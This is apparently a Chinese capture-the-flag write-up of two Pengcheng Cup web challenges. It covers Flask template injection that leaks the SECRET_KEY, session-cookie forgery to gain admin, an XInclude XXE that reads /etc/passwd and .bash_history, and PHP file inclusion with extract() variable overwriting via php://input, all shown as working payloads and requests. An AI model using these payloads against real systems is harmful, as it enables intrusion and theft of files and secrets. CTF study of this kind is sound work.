[鹏城杯] web部分writeup
这次鹏城杯是真的对web不友好。

最终成绩,还是得赞叹一下我们队的bin大佬们太强了@
aris
和ch1p
还有veritas
shadow
这题出的还是挺好的
58.20.46.151:25956
信息收集

访问下upload

有个提示得admin才可以进入
猜测是session伪造,可是session伪造需要secret_key
怎么获得=。=,于是想到flask经常有注入问题的404页面

说明可以SSTI
到此:
已经有了利用链
SSTI读serect_key -> session伪造 -> 文件上传
不过python的文件上传传了文件也想不到利用点,估计是别的漏洞
模板注入读serect_key
在fuzz测试的时候发现(
,)
被过滤了
发现不能调用函数了,没法反弹shell
目的是为了读取serect_key
就需要读一下flask的全局变量
使用 url_for 或者 get_flashed_messages 调取 current_app 进而读取config
flask官方文档:http://flask.pocoo.org/docs/1.0/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793
ssti的两个payload:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

SECRET_KEY': 'as/*d21as-+dhasod5a4s54:><*()dfdsf'
得到了
SECRET_KEY
伪造cookie登录admin
这一步我之前一直是用

如果伪造错了cookie就会使访问upload的时候500
但是不会显示
only admin
可以登录的提示这点让我在做题的时候一直觉得是题目挂了
最好不要在mac下运行,伪造的cookie是不能登录进去的。。

先解密
在加密一下

{u'csrf_token': 'd98ede90de976e09494b86cb5d4fdbbaf2ecbe1c', u'user_id': u'2', u'name': u'ckj123', u'_fresh': True, u'is_admin': True, u'_id': 'a79b8b35999242f82480f10eb6d1996a95c8d3ae594321969f1d8b5c050d6201821da8a6b5bb2fa55877c1b518b949074152a0c82c8412c4fc67843d6e8db28e'}
然后伪造cookie

成功登录
XXE
就可以上传文件了
发现上传什么都是500,
在测试xxe的时候发现
ban了<!ENTITY,<!DOCTYPE ,SYSTEM'
就找一找别的payload
xxe payload找一下,发现可以用xinclude
payload:
<?xml version="1.0"?>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text">
</xi:include>
</data>

只能用file协议读文件考虑一下读
.bash_history
然后可以在
/etc/passwd
看到多了一个rq用户读一下他的.bash_history

可以看到有一个
f123333333ag
的文件读一下

myblog
hint镇楼

信息收集
nikto
扫描一下可以发现有

index.php
和index.html
在
index.php

可以看到在响应头里面有一个flag的参数
base64
解下码可以得到
获得了一个
?flag
他的意思应该是给一个flag的参数
LFI
这时候就需要fuzz
当我fuzz到index的时候

可以发现他500了,可以猜测500的原因应该是include了index.php
就可以知道他后面拼接了一个.php
然后用伪协议读一波

得到了base64的源码
转码之后得到
<?php
header('flag: JTNGZmxhZw==');
if(isset($_GET["flag"])){
$flag = $_GET["flag"];
include $flag.".php";
}
?>
脑洞
最重要的地方来了,一直做不出来,直到给了hint
听说about也有后端
hint和题目一样脑洞,但是怎么读about.php就是读不到
后来s神说可能是base64的about
[图片上传失败...(image-e1b9e1-1544195326440)]
因为在站里面有个base64,尝试读取YWJvdXQ=.php

解码
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
?>
变量覆盖
然后就是审这份代码了
可以看到filename
和flag
都是在extract
的上面
就可以覆盖了这两个变量
file_get_contents
这个函数支持php的伪协议所以用了最简单的php://input将filename覆盖成自己想要的值
GET /YWJvdXQ=.php?filename=php://input&sign=123&falg=flag HTTP/1.1
Host: 58.20.46.149:26376
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 3
123

参考
http://flask.pocoo.org/docs/1.0/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793
总结
还是太菜了=。=,线下好好努力,拿个好成绩
网友评论